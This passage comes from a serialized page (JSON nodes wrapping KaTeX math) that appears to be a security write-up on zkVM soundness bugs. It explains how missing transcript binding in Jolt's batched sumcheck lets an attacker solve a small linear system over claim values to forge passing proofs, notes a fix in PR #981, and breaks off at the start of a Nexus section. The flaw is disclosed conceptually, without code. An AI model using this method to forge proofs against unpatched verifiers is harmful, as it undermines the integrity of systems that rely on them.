opening_claims:",{"type":23,"tag":32,"props":117317,"children":117318},{},[117319,117321,117327,117329,117406],{"type":29,"value":117320},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":23,"tag":154,"props":117322,"children":117324},{"className":117323},[],[117325],{"type":29,"value":117326},"BatchedClaim",{"type":29,"value":117328}," by taking a random linear combination of the individual claims ",{"type":23,"tag":154,"props":117330,"children":117332},{"className":117331},[500,501],[117333],{"type":23,"tag":504,"props":117334,"children":117336},{"className":117335},[507],[117337],{"type":23,"tag":504,"props":117338,"children":117340},{"className":117339,"ariaHidden":513},[512],[117341],{"type":23,"tag":504,"props":117342,"children":117344},{"className":117343},[518],[117345,117349],{"type":23,"tag":504,"props":117346,"children":117348},{"className":117347,"style":112823},[523],[],{"type":23,"tag":504,"props":117350,"children":117352},{"className":117351},[529],[117353,117358],{"type":23,"tag":504,"props":117354,"children":117356},{"className":117355,"style":879},[529,530],[117357],{"type":29,"value":882},{"type":23,"tag":504,"props":117359,"children":117361},{"className":117360},[666],[117362],{"type":23,"tag":504,"props":117363,"children":117365},{"className":117364},[671,672],[117366,117395],{"type":23,"tag":504,"props":117367,"children":117369},{"className":117368},[677],[117370,117390],{"type":23,"tag":504,"props":117371,"children":117373},{"className":117372,"style":1180},[682],[117374],{"type":23,"tag":504,"props":117375,"children":117376},{"style":112255},[117377,117381],{"type":23,"tag":504,"props":117378,"children":117380},{"className":117379,"style":693},[692],[],{"type":23,"tag":504,"props":117382,"children":117384},{"className":117383},[698,699,700,701],[117385],{"type":23,"tag":504,"props":117386,"children":117388},{"className":117387},[529,530,701],[117389],{"type":29,"value":578},{"type":23,"tag":504,"props":117391,"children":117393},{"className":117392},[712],[117394],{"type":29,"value":715},{"type":23,"tag":504,"props":117396,"children":117398},{"className":117397},[677],[117399],{"type":23,"tag":504,"props":117400,"children":117402},{"className":117401,"style":723},[682],[117403],{"type":23,"tag":504,"props":117404,"children":117405},{},[],{"type":29,"value":6533},{"type":23,"tag":32,"props":117408,"children":117409},{},[117410],{"type":23,"tag":154,"props":117411,"children":117413},{"className":117412},[500,501],[117414],{"type":23,"tag":504,"props":117415,"children":117417},{"className":117416},[507],[117418],{"type":23,"tag":504,"props":117419,"children":117421},{"className":117420,"ariaHidden":513},[512],[117422,117452,117593],{"type":23,"tag":504,"props":117423,"children":117425},{"className":117424},[518],[117426,117430,117439,117443,117448],{"type":23,"tag":504,"props":117427,"children":117429},{"className":117428,"style":524},[523],[],{"type":23,"tag":504,"props":117431,"children":117433},{"className":117432},[529,29],[117434],{"type":23,"tag":504,"props":117435,"children":117437},{"className":117436},[529],[117438],{"type":29,"value":117326},{"type":23,"tag":504,"props":117440,"children":117442},{"className":117441,"style":538},[537],[],{"type":23,"tag":504,"props":117444,"children":117446},{"className":117445},[543],[117447],{"type":29,"value":546},{"type":23,"tag":504,"props":117449,"children":117451},{"className":117450,"style":538},[537],[],{"type":23,"tag":504,"props":117453,"children":117455},{"className":117454},[518],[117456,117461,117518,117522,117580,117584,117589],{"type":23,"tag":504,"props":117457,"children":117460},{"className":117458,"style":117459},[523],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":23,"tag":504,"props":117462,"children":117464},{"className":117463},[23673],[117465,117470],{"type":23,"tag":504,"props":117466,"children":117468},{"className":117467,"style":23680},[23673,23678,23679],[117469],{"type":29,"value":110621},{"type":23,"tag":504,"props":117471,"children":117473},{"className":117472},[666],[117474],{"type":23,"tag":504,"props":117475,"children":117477},{"className":117476},[671,672],[117478,117507],{"type":23,"tag":504,"props":117479,"children":117481},{"className":117480},[677],[117482,117502],{"type":23,"tag":504,"props":117483,"children":117485},{"className":117484,"style":116033},[682],[117486],{"type":23,"tag":504,"props":117487,"children":117488},{"style":23703},[117489,117493],{"type":23,"tag":504,"props":117490,"children":117492},{"className":117491,"style":693},[692],[],{"type":23,"tag":504,"props":117494,"children":117496},{"className":117495},[698,699,700,701],[117497],{"type":23,"tag":504,"props":117498,"children":117500},{"className":117499},[529,530,701],[117501],{"type":29,"value":578},{"type":23,"tag":504,"props":117503,"children":117505},{"className":117504},[712],[117506],{"type":29,"value":715},{"type":23,"tag":504,"props":117508,"children":117510},{"className":117509},[677],[117511],{"type":23,"tag":504,"props":117512,"children":117514},{"className":117513,"style":116313},[682],[117515],{"type":23,"tag":504,"props":117516,"children":117517},{},[],{"type":23,"tag":504,"props":117519,"children":117521},{"className":117520,"style":2274},[537],[],{"type":23,"tag":504,"props":117523,"children":117525},{"className":117524},[529],[117526,117531],{"type":23,"tag":504,"props":117527,"children":117529},{"className":117528,"style":116914},[529,530],[117530],{"type":29,"value":116917},{"type":23,"tag":504,"props":117532,"children":117534},{"className":117533},[666],[117535],{"type":23,"tag":504,"props":117536,"children":117538},{"className":117537},[671,672],[117539,117569],{"type":23,"tag":504,"props":117540,"children":117542},{"className":117541},[677],[117543,117564],{"type":23,"tag":504,"props":117544,"children":117546},{"className":117545,"style":1180},[682],[117547],{"type":23,"tag":504,"props":117548,"children":117550},{"style":117549},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[117551,117555],{"type":23,"tag":504,"props":117552,"children":117554},{"className":117553,"style":693},[692],[],{"type":23,"tag":504,"props":117556,"children":117558},{"className":117557},[698,699,700,701],[117559],{"type":23,"tag":504,"props":117560,"children":117562},{"className":117561},[529,530,701],[117563],{"type":29,"value":578},{"type":23,"tag":504,"props":117565,"children":117567},{"className":117566},[712],[117568],{"type":29,"value":715},{"type":23,"tag":504,"props":117570,"children":117572},{"className":117571},[677],[117573],{"type":23,"tag":504,"props":117574,"children":117576},{"className":117575,"style":723},[682],[117577],{"type":23,"tag":504,"props":117578,"children":117579},{},[],{"type":23,"tag":504,"props":117581,"children":117583},{"className":117582,"style":1426},[537],[],{"type":23,"tag":504,"props":117585,"children":117587},{"className":117586},[1431],[117588],{"type":29,"value":113088},{"type":23,"tag":504,"props":117590,"children":117592},{"className":117591,"style":1426},[537],[],{"type":23,"tag":504,"props":117594,"children":117596},{"className":117595},[518],[117597,117601],{"type":23,"tag":504,"props":117598,"children":117600},{"className":117599,"style":112823},[523],[],{"type":23,"tag":504,"props":117602,"children":117604},{"className":117603},[529],[117605,117610],{"type":23,"tag":504,"props":117606,"children":117608},{"className":117607,"style":879},[529,530],[117609],{"type":29,"value":882},{"type":23,"tag":504,"props":117611,"children":117613},{"className":117612},[666],[117614],{"type":23,"tag":504,"props":117615,"children":117617},{"className":117616},[671,672],[117618,117647],{"type":23,"tag":504,"props":117619,"children":117621},{"className":117620},[677],[117622,117642],{"type":23,"tag":504,"props":117623,"children":117625},{"className":117624,"style":1180},[682],[117626],{"type":23,"tag":504,"props":117627,"children":117628},{"style":112255},[117629,117633],{"type":23,"tag":504,"props":117630,"children":117632},{"className":117631,"style":693},[692],[],{"type":23,"tag":504,"props":117634,"children":117636},{"className":117635},[698,699,700,701],[117637],{"type":23,"tag":504,"props":117638,"children":117640},{"className":117639},[529,530,701],[117641],{"type":29,"value":578},{"type":23,"tag":504,"props":117643,"children":117645},{"className":117644},[712],[117646],{"type":29,"value":715},{"type":23,"tag":504,"props":117648,"children":117650},{"className":117649},[677],[117651],{"type":23,"tag":504,"props":117652,"children":117654},{"className":117653,"style":723},[682],[117655],{"type":23,"tag":504,"props":117656,"children":117657},{},[],{"type":23,"tag":32,"props":117659,"children":117660},{},[117661,117663,117740,117742,117747,117749,117826,117828,117905,117907,117984],{"type":29,"value":117662},"where ",{"type":23,"tag":154,"props":117664,"children":117666},{"className":117665},[500,501],[117667],{"type":23,"tag":504,"props":117668,"children":117670},{"className":117669},[507],[117671],{"type":23,"tag":504,"props":117672,"children":117674},{"className":117673,"ariaHidden":513},[512],[117675],{"type":23,"tag":504,"props":117676,"children":117678},{"className":117677},[518],[117679,117683],{"type":23,"tag":504,"props":117680,"children":117682},{"className":117681,"style":111796},[523],[],{"type":23,"tag":504,"props":117684,"children":117686},{"className":117685},[529],[117687,117692],{"type":23,"tag":504,"props":117688,"children":117690},{"className":117689,"style":116914},[529,530],[117691],{"type":29,"value":116917},{"type":23,"tag":504,"props":117693,"children":117695},{"className":117694},[666],[117696],{"type":23,"tag":504,"props":117697,"children":117699},{"className":117698},[671,672],[117700,117729],{"type":23,"tag":504,"props":117701,"children":117703},{"className":117702},[677],[117704,117724],{"type":23,"tag":504,"props":117705,"children":117707},{"className":117706,"style":1180},[682],[117708],{"type":23,"tag":504,"props":117709,"children":117710},{"style":117549},[117711,117715],{"type":23,"tag":504,"props":117712,"children":117714},{"className":117713,"style":693},[692],[],{"type":23,"tag":504,"props":117716,"children":117718},{"className":117717},[698,699,700,701],[117719],{"type":23,"tag":504,"props":117720,"children":117722},{"className":117721},[529,530,701],[117723],{"type":29,"value":578},{"type":23,"tag":504,"props":117725,"children":117727},{"className":117726},[712],[117728],{"type":29,"value":715},{"type":23,"tag":504,"props":117730,"children":117732},{"className":117731},[677],[117733],{"type":23,"tag":504,"props":117734,"children":117736},{"className":117735,"style":723},[682],[117737],{"type":23,"tag":504,"props":117738,"children":117739},{},[],{"type":29,"value":117741}," are random coefficients derived from the transcript. Since ",{"type":23,"tag":154,"props":117743,"children":117745},{"className":117744},[],[117746],{"type":29,"value":117290},{"type":29,"value":117748}," (containing ",{"type":23,"tag":154,"props":117750,"children":117752},{"className":117751},[500,501],[117753],{"type":23,"tag":504,"props":117754,"children":117756},{"className":117755},[507],[117757],{"type":23,"tag":504,"props":117758,"children":117760},{"className":117759,"ariaHidden":513},[512],[117761],{"type":23,"tag":504,"props":117762,"children":117764},{"className":117763},[518],[117765,117769],{"type":23,"tag":504,"props":117766,"children":117768},{"className":117767,"style":112823},[523],[],{"type":23,"tag":504,"props":117770,"children":117772},{"className":117771},[529],[117773,117778],{"type":23,"tag":504,"props":117774,"children":117776},{"className":117775,"style":879},[529,530],[117777],{"type":29,"value":882},{"type":23,"tag":504,"props":117779,"children":117781},{"className":117780},[666],[117782],{"type":23,"tag":504,"props":117783,"children":117785},{"className":117784},[671,672],[117786,117815],{"type":23,"tag":504,"props":117787,"children":117789},{"className":117788},[677],[117790,117810],{"type":23,"tag":504,"props":117791,"children":117793},{"className":117792,"style":1180},[682],[117794],{"type":23,"tag":504,"props":117795,"children":117796},{"style":112255},[117797,117801],{"type":23,"tag":504,"props":117798,"children":117800},{"className":117799,"style":693},[692],[],{"type":23,"tag":504,"props":117802,"children":117804},{"className":117803},[698,699,700,701],[117805],{"type":23,"tag":504,"props":117806,"children":117808},{"className":117807},[529,530,701],[117809],{"type":29,"value":578},{"type":23,"tag":504,"props":117811,"children":117813},{"className":117812},[712],[117814],{"type":29,"value":715},{"type":23,"tag":504,"props":117816,"children":117818},{"className":117817},[677],[117819],{"type":23,"tag":504,"props":117820,"children":117822},{"className":117821,"style":723},[682],[117823],{"type":23,"tag":504,"props":117824,"children":117825},{},[],{"type":29,"value":117827},") were not in the transcript, the ",{"type":23,"tag":154,"props":117829,"children":117831},{"className":117830},[500,501],[117832],{"type":23,"tag":504,"props":117833,"children":117835},{"className":117834},[507],[117836],{"type":23,"tag":504,"props":117837,"children":117839},{"className":117838,"ariaHidden":513},[512],[117840],{"type":23,"tag":504,"props":117841,"children":117843},{"className":117842},[518],[117844,117848],{"type":23,"tag":504,"props":117845,"children":117847},{"className":117846,"style":111796},[523],[],{"type":23,"tag":504,"props":117849,"children":117851},{"className":117850},[529],[117852,117857],{"type":23,"tag":504,"props":117853,"children":117855},{"className":117854,"style":116914},[529,530],[117856],{"type":29,"value":116917},{"type":23,"tag":504,"props":117858,"children":117860},{"className":117859},[666],[117861],{"type":23,"tag":504,"props":117862,"children":117864},{"className":117863},[671,672],[117865,117894],{"type":23,"tag":504,"props":117866,"children":117868},{"className":117867},[677],[117869,117889],{"type":23,"tag":504,"props":117870,"children":117872},{"className":117871,"style":1180},[682],[117873],{"type":23,"tag":504,"props":117874,"children":117875},{"style":117549},[117876,117880],{"type":23,"tag":504,"props":117877,"children":117879},{"className":117878,"style":693},[692],[],{"type":23,"tag":504,"props":117881,"children":117883},{"className":117882},[698,699,700,701],[117884],{"type":23,"tag":504,"props":117885,"children":117887},{"className":117886},[529,530,701],[117888],{"type":29,"value":578},{"type":23,"tag":504,"props":117890,"children":117892},{"className":117891},[712],[117893],{"type":29,"value":715},{"type":23,"tag":504,"props":117895,"children":117897},{"className":117896},[677],[117898],{"type":23,"tag":504,"props":117899,"children":117901},{"className":117900,"style":723},[682],[117902],{"type":23,"tag":504,"props":117903,"children":117904},{},[],{"type":29,"value":117906}," values are independent of ",{"type":23,"tag":154,"props":117908,"children":117910},{"className":117909},[500,501],[117911],{"type":23,"tag":504,"props":117912,"children":117914},{"className":117913},[507],[117915],{"type":23,"tag":504,"props":117916,"children":117918},{"className":117917,"ariaHidden":513},[512],[117919],{"type":23,"tag":504,"props":117920,"children":117922},{"className":117921},[518],[117923,117927],{"type":23,"tag":504,"props":117924,"children":117926},{"className":117925,"style":112823},[523],[],{"type":23,"tag":504,"props":117928,"children":117930},{"className":117929},[529],[117931,117936],{"type":23,"tag":504,"props":117932,"children":117934},{"className":117933,"style":879},[529,530],[117935],{"type":29,"value":882},{"type":23,"tag":504,"props":117937,"children":117939},{"className":117938},[666],[117940],{"type":23,"tag":504,"props":117941,"children":117943},{"className":117942},[671,672],[117944,117973],{"type":23,"tag":504,"props":117945,"children":117947},{"className":117946},[677],[117948,117968],{"type":23,"tag":504,"props":117949,"children":117951},{"className":117950,"style":1180},[682],[117952],{"type":23,"tag":504,"props":117953,"children":117954},{"style":112255},[117955,117959],{"type":23,"tag":504,"props":117956,"children":117958},{"className":117957,"style":693},[692],[],{"type":23,"tag":504,"props":117960,"children":117962},{"className":117961},[698,699,700,701],[117963],{"type":23,"tag":504,"props":117964,"children":117966},{"className":117965},[529,530,701],[117967],{"type":29,"value":578},{"type":23,"tag":504,"props":117969,"children":117971},{"className":117970},[712],[117972],{"type":29,"value":715},{"type":23,"tag":504,"props":117974,"children":117976},{"className":117975},[677],[117977],{"type":23,"tag":504,"props":117978,"children":117980},{"className":117979,"style":723},[682],[117981],{"type":23,"tag":504,"props":117982,"children":117983},{},[],{"type":29,"value":357},{"type":23,"tag":32,"props":117986,"children":117987},{},[117988],{"type":23,"tag":38,"props":117989,"children":117990},{},[117991],{"type":29,"value":117992},"Why it's linear:",{"type":23,"tag":32,"props":117994,"children":117995},{},[117996,117998],{"type":29,"value":117997},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":23,"tag":154,"props":117999,"children":118001},{"className":118000},[500,501],[118002],{"type":23,"tag":504,"props":118003,"children":118005},{"className":118004},[507],[118006],{"type":23,"tag":504,"props":118007,"children":118009},{"className":118008,"ariaHidden":513},[512],[118010],{"type":23,"tag":504,"props":118011,"children":118013},{"className":118012},[518],[118014,118018],{"type":23,"tag":504,"props":118015,"children":118017},{"className":118016,"style":23635},[523],[],{"type":23,"tag":504,"props":118019,"children":118021},{"className":118020,"style":879},[529,530],[118022],{"type":29,"value":882},{"type":23,"tag":32,"props":118024,"children":118025},{},[118026],{"type":23,"tag":154,"props":118027,"children":118029},{"className":118028},[500,501],[118030],{"type":23,"tag":504,"props":118031,"children":118033},{"className":118032},[507],[118034],{"type":23,"tag":504,"props":118035,"children":118037},{"className":118036,"ariaHidden":513},[512],[118038,118128,118154,118180],{"type":23,"tag":504,"props":118039,"children":118041},{"className":118040},[518],[118042,118046,118115,118119,118124],{"type":23,"tag":504,"props":118043,"children":118045},{"className":118044,"style":112823},[523],[],{"type":23,"tag":504,"props":118047,"children":118049},{"className":118048},[529],[118050,118056],{"type":23,"tag":504,"props":118051,"children":118053},{"className":118052,"style":24160},[529,530],[118054],{"type":29,"value":118055},"C",{"type":23,"tag":504,"props":118057,"children":118059},{"className":118058},[666],[118060],{"type":23,"tag":504,"props":118061,"children":118063},{"className":118062},[671,672],[118064,118104],{"type":23,"tag":504,"props":118065,"children":118067},{"className":118066},[677],[118068,118099],{"type":23,"tag":504,"props":118069,"children":118072},{"className":118070,"style":118071},[682],"height:0.3361em;",[118073],{"type":23,"tag":504,"props":118074,"children":118076},{"style":118075},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[118077,118081],{"type":23,"tag":504,"props":118078,"children":118080},{"className":118079,"style":693},[692],[],{"type":23,"tag":504,"props":118082,"children":118084},{"className":118083},[698,699,700,701],[118085],{"type":23,"tag":504,"props":118086,"children":118088},{"className":118087},[529,701],[118089],{"type":23,"tag":504,"props":118090,"children":118092},{"className":118091},[529,29,701],[118093],{"type":23,"tag":504,"props":118094,"children":118096},{"className":118095},[529,701],[118097],{"type":29,"value":118098},"final",{"type":23,"tag":504,"props":118100,"children":118102},{"className":118101},[712],[118103],{"type":29,"value":715},{"type":23,"tag":504,"props":118105,"children":118107},{"className":118106},[677],[118108],{"type":23,"tag":504,"props":118109,"children":118111},{"className":118110,"style":723},[682],[118112],{"type":23,"tag":504,"props":118113,"children":118114},{},[],{"type":23,"tag":504,"props":118116,"children":118118},{"className":118117,"style":538},[537],[],{"type":23,"tag":504,"props":118120,"children":118122},{"className":118121},[543],[118123],{"type":29,"value":546},{"type":23,"tag":504,"props":118125,"children":118127},{"className":118126,"style":538},[537],[],{"type":23,"tag":504,"props":118129,"children":118131},{"className":118130},[518],[118132,118136,118141,118145,118150],{"type":23,"tag":504,"props":118133,"children":118135},{"className":118134,"style":116909},[523],[],{"type":23,"tag":504,"props":118137,"children":118139},{"className":118138},[529,530],[118140],{"type":29,"value":68},{"type":23,"tag":504,"props":118142,"children":118144},{"className":118143,"style":1426},[537],[],{"type":23,"tag":504,"props":118146,"children":118148},{"className":118147},[1431],[118149],{"type":29,"value":113088},{"type":23,"tag":504,"props":118151,"children":118153},{"className":118152,"style":1426},[537],[],{"type":23,"tag":504,"props":118155,"children":118157},{"className":118156},[518],[118158,118162,118167,118171,118176],{"type":23,"tag":504,"props":118159,"children":118161},{"className":118160,"style":116938},[523],[],{"type":23,"tag":504,"props":118163,"children":118165},{"className":118164,"style":879},[529,530],[118166],{"type":29,"value":882},{"type":23,"tag":504,"props":118168,"children":118170},{"className":118169,"style":1426},[537],[],{"type":23,"tag":504,"props":118172,"children":118174},{"className":118173},[1431],[118175],{"type":29,"value":6422},{"type":23,"tag":504,"props":118177,"children":118179},{"className":118178,"style":1426},[537],[],{"type":23,"tag":504,"props":118181,"children":118183},{"className":118182},[518],[118184,118188],{"type":23,"tag":504,"props":118185,"children":118187},{"className":118186,"style":524},[523],[],{"type":23,"tag":504,"props":118189,"children":118191},{"className":118190},[529,530],[118192],{"type":29,"value":3003},{"type":23,"tag":32,"props":118194,"children":118195},{},[118196,118197,118236,118238,118263,118265,118395,118397,118518],{"type":29,"value":117662},{"type":23,"tag":154,"props":118198,"children":118200},{"className":118199},[500,501],[118201],{"type":23,"tag":504,"props":118202,"children":118204},{"className":118203},[507],[118205],{"type":23,"tag":504,"props":118206,"children":118208},{"className":118207,"ariaHidden":513},[512],[118209],{"type":23,"tag":504,"props":118210,"children":118212},{"className":118211},[518],[118213,118217,118222,118227,118231],{"type":23,"tag":504,"props":118214,"children":118216},{"className":118215,"style":116881},[523],[],{"type":23,"tag":504,"props":118218,"children":118220},{"className":118219},[529,530],[118221],{"type":29,"value":68},{"type":23,"tag":504,"props":118223,"children":118225},{"className":118224},[2267],[118226],{"type":29,"value":2270},{"type":23,"tag":504,"props":118228,"children":118230},{"className":118229,"style":2274},[537],[],{"type":23,"tag":504,"props":118232,"children":118234},{"className":118233},[529,530],[118235],{"type":29,"value":3003},{"type":29,"value":118237}," are determined by the transcript (independent of ",{"type":23,"tag":154,"props":118239,"children":118241},{"className":118240},[500,501],[118242],{"type":23,"tag":504,"props":118243,"children":118245},{"className":118244},[507],[118246],{"type":23,"tag":504,"props":118247,"children":118249},{"className":118248,"ariaHidden":513},[512],[118250],{"type":23,"tag":504,"props":118251,"children":118253},{"className":118252},[518],[118254,118258],{"type":23,"tag":504,"props":118255,"children":118257},{"className":118256,"style":23635},[523],[],{"type":23,"tag":504,"props":118259,"children":118261},{"className":118260,"style":879},[529,530],[118262],{"type":29,"value":882},{"type":29,"value":118264},"). The verifier checks that ",{"type":23,"tag":154,"props":118266,"children":118268},{"className":118267},[500,501],[118269],{"type":23,"tag":504,"props":118270,"children":118272},{"className":118271},[507],[118273],{"type":23,"tag":504,"props":118274,"children":118276},{"className":118275,"ariaHidden":513},[512],[118277,118363],{"type":23,"tag":504,"props":118278,"children":118280},{"className":118279},[518],[118281,118285,118350,118354,118359],{"type":23,"tag":504,"props":118282,"children":118284},{"className":118283,"style":112823},[523],[],{"type":23,"tag":504,"props":118286,"children":118288},{"className":118287},[529],[118289,118294],{"type":23,"tag":504,"props":118290,"children":118292},{"className":118291,"style":24160},[529,530],[118293],{"type":29,"value":118055},{"type":23,"tag":504,"props":118295,"children":118297},{"className":118296},[666],[118298],{"type":23,"tag":504,"props":118299,"children":118301},{"className":118300},[671,672],[118302,118339],{"type":23,"tag":504,"props":118303,"children":118305},{"className":118304},[677],[118306,118334],{"type":23,"tag":504,"props":118307,"children":118309},{"className":118308,"style":118071},[682],[118310],{"type":23,"tag":504,"props":118311,"children":118312},{"style":118075},[118313,118317],{"type":23,"tag":504,"props":118314,"children":118316},{"className":118315,"style":693},[692],[],{"type":23,"tag":504,"props":118318,"children":118320},{"className":118319},[698,699,700,701],[118321],{"type":23,"tag":504,"props":118322,"children":118324},{"className":118323},[529,701],[118325],{"type":23,"tag":504,"props":118326,"children":118328},{"className":118327},[529,29,701],[118329],{"type":23,"tag":504,"props":118330,"children":118332},{"className":118331},[529,701],[118333],{"type":29,"value":118098},{"type":23,"tag":504,"props":118335,"children":118337},{"className":118336},[712],[118338],{"type":29,"value":715},{"type":23,"tag":504,"props":118340,"children":118342},{"className":118341},[677],[118343],{"type":23,"tag":504,"props":118344,"children":118346},{"className":118345,"style":723},[682],[118347],{"type":23,"tag":504,"props":118348,"children":118349},{},[],{"type":23,"tag":504,"props":118351,"children":118353},{"className":118352,"style":538},[537],[],{"type":23,"tag":504,"props":118355,"children":118357},{"className":118356},[543],[118358],{"type":29,"value":546},{"type":23,"tag":504,"props":118360,"children":118362},{"className":118361,"style":538},[537],[],{"type":23,"tag":504,"props":118364,"children":118366},{"className":118365},[518],[118367,118371,118381,118386],{"type":23,"tag":504,"props":118368,"children":118370},{"className":118369,"style":2073},[523],[],{"type":23,"tag":504,"props":118372,"children":118374},{"className":118373},[529,29],[118375],{"type":23,"tag":504,"props":118376,"children":118378},{"className":118377},[529],[118379],{"type":29,"value":118380},"expected",{"type":23,"tag":504,"props":118382,"children":118384},{"className":118383,"style":624},[529],[118385],{"type":29,"value":627},{"type":23,"tag":504,"props":118387,"children":118389},{"className":118388},[529,29],[118390],{"type":23,"tag":504,"props":118391,"children":118393},{"className":118392},[529],[118394],{"type":29,"value":39605},{"type":29,"value":118396}," (from PCS opening), this becomes ",{"type":23,"tag":154,"props":118398,"children":118400},{"className":118399},[500,501],[118401],{"type":23,"tag":504,"props":118402,"children":118404},{"className":118403},[507],[118405],{"type":23,"tag":504,"props":118406,"children":118408},{"className":118407,"ariaHidden":513},[512],[118409,118435,118461,118487],{"type":23,"tag":504,"props":118410,"children":118412},{"className":118411},[518],[118413,118417,118422,118426,118431],{"type":23,"tag":504,"props":118414,"children":118416},{"className":118415,"style":116909},[523],[],{"type":23,"tag":504,"props":118418,"children":118420},{"className":118419},[529,530],[118421],{"type":29,"value":68},{"type":23,"tag":504,"props":118423,"children":118425},{"className":118424,"style":1426},[537],[],{"type":23,"tag":504,"props":118427,"children":118429},{"className":118428},[1431],[118430],{"type":29,"value":113088},{"type":23,"tag":504,"props":118432,"children":118434},{"className":118433,"style":1426},[537],[],{"type":23,"tag":504,"props":118436,"children":118438},{"className":118437},[518],[118439,118443,118448,118452,118457],{"type":23,"tag":504,"props":118440,"children":118442},{"className":118441,"style":116938},[523],[],{"type":23,"tag":504,"props":118444,"children":118446},{"className":118445,"style":879},[529,530],[118447],{"type":29,"value":882},{"type":23,"tag":504,"props":118449,"children":118451},{"className":118450,"style":1426},[537],[],{"type":23,"tag":504,"props":118453,"children":118455},{"className":118454},[1431],[118456],{"type":29,"value":6422},{"type":23,"tag":504,"props":118458,"children":118460},{"className":118459,"style":1426},[537],[],{"type":23,"tag":504,"props":118462,"children":118464},{"className":118463},[518],[118465,118469,118474,118478,118483],{"type":23,"tag":504,"props":118466,"children":118468},{"className":118467,"style":524},[523],[],{"type":23,"tag":504,"props":118470,"children":118472},{"className":118471},[529,530],[118473],{"type":29,"value":3003},{"type":23,"tag":504,"props":118475,"children":118477},{"className":118476,"style":538},[537],[],{"type":23,"tag":504,"props":118479,"children":118481},{"className":118480},[543],[118482],{"type":29,"value":546},{"type":23,"tag":504,"props":118484,"children":118486},{"className":118485,"style":538},[537],[],{"type":23,"tag":504,"props":118488,"children":118490},{"className":118489},[518],[118491,118495,118504,118509],{"type":23,"tag":504,"props":118492,"children":118494},{"className":118493,"style":2073},[523],[],{"type":23,"tag":504,"props":118496,"children":118498},{"className":118497},[529,29],[118499],{"type":23,"tag":504,"props":118500,"children":118502},{"className":118501},[529],[118503],{"type":29,"value":118380},{"type":23,"tag":504,"props":118505,"children":118507},{"className":118506,"style":624},[529],[118508],{"type":29,"value":627},{"type":23,"tag":504,"props":118510,"children":118512},{"className":118511},[529,29],[118513],{"type":23,"tag":504,"props":118514,"children":118516},{"className":118515},[529],[118517],{"type":29,"value":39605},{"type":29,"value":357},{"type":23,"tag":32,"props":118520,"children":118521},{},[118522],{"type":29,"value":118523},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":23,"tag":32,"props":118525,"children":118526},{},[118527],{"type":29,"value":118528},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":23,"tag":32,"props":118530,"children":118531},{},[118532,118537,118539],{"type":23,"tag":38,"props":118533,"children":118534},{},[118535],{"type":29,"value":118536},"Status:",{"type":29,"value":118538}," Fixed on October 3, 2025 via ",{"type":23,"tag":68,"props":118540,"children":118543},{"href":118541,"rel":118542},"https://github.com/a16z/jolt/pull/981",[72],[118544],{"type":29,"value":118545},"PR #981",{"type":23,"tag":20844,"props":118547,"children":118548},{},[],{"type":23,"tag":320,"props":118550,"children":118552},{"id":118551},"nexus",[118553],{"type":29,"value":109645},{"type":23,"tag":32,"props":118555,"children":118556},{},[118557],{"type":29,"value":118558},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":23,"tag":32,"props":118560,"children":118561},{},[118562,118564,118569],{"type":29,"value":118563},"Nexus splits verification into ",{"type":23,"tag":38,"props":118565,"children":118566},{},[118567],{"type":29,"value":118568},"components",{"type":29,"value":118570}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":23,"tag":32,"props":118572,"children":118573},{},[118574,118576,118581],{"type":29,"value":118575},"Each component emits and consumes lookup tuples. The component's ",{"type":23,"tag":154,"props":118577,"children":118579},{"className":118578},[],[118580],{"type":29,"value":116690},{"type":29,"value":118582}," summarizes its net contribution:",{"type":23,"tag":32,"props":118584,"children":118585},{},[118586],{"type":23,"tag":154,"props":118587,"children":118589},{"className":118588},[500,501],[118590],{"type":23,"tag":504,"props":118591,"children":118593},{"className":118592},[507],[118594],{"type":23,"tag":504,"props":118595,"children":118597},{"className":118596,"ariaHidden":513},[512],[118598,118694,118943],{"type":23,"tag":504,"props":118599,"children":118601},{"className":118600},[518],[118602,118606,118615,118620,118681,118685,118690],{"type":23,"tag":504,"props":118603,"children":118605},{"className":118604,"style":2073},[523],[],{"type":23,"tag":504,"props":118607,"children":118609},{"className":118608},[529,29],[118610],{"type":23,"tag":504,"props":118611,"children":118613},{"className":118612},[529],[118614],{"type":29,"value":115919},{"type":23,"tag":504,"props":118616,"children":118618},{"className":118617,"style":624},[529],[118619],{"type":29,"value":627},{"type":23,"tag":504,"props":118621,"children":118623},{"className":118622},[529],[118624,118633],{"type":23,"tag":504,"props":118625,"children":118627},{"className":118626},[529,29],[118628],{"type":23,"tag":504,"props":118629,"children":118631},{"className":118630},[529],[118632],{"type":29,"value":78697},{"type":23,"tag":504,"props":118634,"children":118636},{"className":118635},[666],[118637],{"type":23,"tag":504,"props":118638,"children":118640},{"className":118639},[671,672],[118641,118670],{"type":23,"tag":504,"props":118642,"children":118644},{"className":118643},[677],[118645,118665],{"type":23,"tag":504,"props":118646,"children":118648},{"className":118647,"style":1180},[682],[118649],{"type":23,"tag":504,"props":118650,"children":118651},{"style":115956},[118652,118656],{"type":23,"tag":504,"props":118653,"children":118655},{"className":118654,"style":693},[692],[],{"type":23,"tag":504,"props":118657,"children":118659},{"className":118658},[698,699,700,701],[118660],{"type":23,"tag":504,"props":118661,"children":118663},{"className":118662},[529,530,701],[118664],{"type":29,"value":578},{"type":23,"tag":504,"props":118666,"children":118668},{"className":118667},[712],[118669],{"type":29,"value":715},{"type":23,"tag":504,"props":118671,"children":118673},{"className":118672},[677],[118674],{"type":23,"tag":504,"props":118675,"children":118677},{"className":118676,"style":723},[682],[118678],{"type":23,"tag":504,"props":118679,"children":118680},{},[],{"type":23,"tag":504,"props":118682,"children":118684},{"className":118683,"style":538},[537],[],{"type":23,"tag":504,"props":118686,"children":118688},{"className":118687},[543],[118689],{"type":29,"value":546},{"type":23,"tag":504,"props":118691,"children":118693},{"className":118692,"style":538},[537],[],{"type":23,"tag":504,"props":118695,"children":118697},{"className":118696},[518],[118698,118703,118760,118764,118930,118934,118939],{"type":23,"tag":504,"props":118699,"children":118702},{"className":118700,"style":118701},[523],"height:1.4734em;vertical-align:-0.6283em;",[],{"